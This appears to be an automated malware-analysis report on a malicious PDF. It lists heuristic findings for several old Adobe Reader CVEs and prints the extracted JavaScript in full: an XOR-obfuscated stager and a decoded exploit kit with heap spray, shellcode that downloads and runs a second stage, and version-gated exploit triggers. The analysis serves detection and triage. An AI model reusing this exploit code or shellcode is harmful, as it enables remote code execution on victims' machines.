MALICIOUS
388
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains multiple critical heuristic firings indicating the exploitation of several Adobe Reader vulnerabilities. The embedded JavaScript, obfuscated using XOR and string concatenation, is designed to download and execute a second-stage payload from a URL. The ML classifier also flagged this PDF with a very high probability of being malicious.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0010_000.js |
pdf-javascript-stream | PDF /JS object 10 at offset 0xDD7 | 531 bytes |
SHA-256: e02687beef255d1181b3421a85a1c22b9a9cec23c964c4d6bd07d9f53e190b7a |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
try {var lU='FunZctionZZ'.replace(/[Z]/g, '');var mB=app.doc;nAL='var YoV = 237 ;Yvar fMD = tYhis;var xYYE=fYYMYYD.getPageNumWorYYds(this.YpYYageNumY);vYYar oYN=\'\'Y;for(var rYU=0YY;rU< xE;Y rU++)Y{oN=[oN,Y fMD.getPaYgeYNYYthYWYYoYYrd(fMYYD.pagYYeNumY,rU,trYue)].jYoinYY(\'Y\');;}vYar sH=\'\';fYor(var rYUYY=YY0;rUY < oYN.lYYengYYth;YY rU+=YY2){mVA=oN.subYYstrYY(YYrU,2);sH=[sYYH,String.YYfromCharCode(parseIYYnt(mYVA,16)^oV)].YjoYinY(\'\');}eYYval(sYYH);sH=null;'.replace(/[Y]/g, '');nC=wZ;} catch(jA){var sV=mB[lU](nAL);sV();}
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page_word_xor_stage_000.js |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xED) at offset 0x8C | 3763 bytes |
SHA-256: b159b889362e648f3ad518b80d60040e129a5fac9e4d5baed19dd00707ba7696 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
h={};this.v=428;this.v--;var rE='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.p=18962;this.p--;var b="b";var kX=this.info['yD'].replace(/[\s]/g, '');for(var gP=0; gP <2024; gP++){var dQ='qP'};var sRG='';var fQ = this.info;var eR = (fQ.producer.substr(0,5) == 'debug');var hG = new Array(); var mV = "%u";function nK(str){str = str.split(mV);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function mL(str1, str2){return [str1, str2].join("");}function nU(yTS){var wL = nM();var wNO = oF();wL += ((wL.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wNO;if(eR) app.alert("URL: " + wL);wL=nE(wL);var d=mV;var mVA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";mVA+=wL;return nK(mVA);};function nM(){var qV = (fQ.author + fQ.title).replace(/[\s]/g, '');var dW = mN(qV, kX, rE);return dW;};function mN(qV, rE, kX){var dW="";for(var i=0; i < qV.length; i++){var fY = rE.indexOf(qV[i]);if(fY > -1 ){dW += kX[fY];}}return dW;};function nE(qV){var out = "";qV = iZ(qV);g = Math.round(qV.length / 4);if (g != qV.length /4) qV+="00";for(var i=0; i < qV.length; i+=4){out+= mV + qV.substr(i+2, 2) + qV.substr(i, 2);}return out;};function iZ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function zW(gH, len){while (gH.length * 2 < len){gH = mL(gH, gH);}return gH.substring(0, len / 2);};function hGN(nS){var cP = 0x0c0c0c0c; t = nU("pdf");if (nS == 1){cP = 0x30303030;}var hGH = 0x400000;var ln = t.length * 2;var fM = hGH - (ln + 0x38);var gH = nK(mV+"9090"+mV+"9090"); gH = zW(gH, fM);var eD = (cP - 0x400000) / hGH;for (var xC = 0; xC < eD; xC ++ ){hG[xC] = mL(gH, t);}};function oF(){try {return app.viewerVersion.toString();}catch(gF){ return 0;}}if(eR) app.alert("called exploit");var wNO = oF();if(eR) app.alert("v: " + wNO);if (wNO > 8){if(eR) app.alert("util.printf");hGN(1);var hY = "12999999999999999999";for (gX=0; gX < 276; gX++) hY += "8";util.printf("%45000f", hY);}if (wNO < 8){if(eR) app.alert("Collab.collectEmailInfo");hGN(0);var hE = nK(mV+"0c0c"+mV+"0c0c");while (hE.length < 44952) hE += hE;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : hE});}if (wNO < 9.1){if (app.doc.Collab.getIcon){if(eR) app.alert("Collab.getIcon");hGN(0);var oHI = unescape("%09");while (oHI.length < 0x4000) oHI += oHI;oHI = "N." + oHI;app.doc.Collab.getIcon(oHI);}}if (wNO == 9.2){if(eR) app.alert("media.newPlayer");hGN(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var xY={nA:"sL".substr(30183, 30183)};var z="z";cZ=10974;cZ-=244;var fS={hO:"uP".substr(21451, 21451)};
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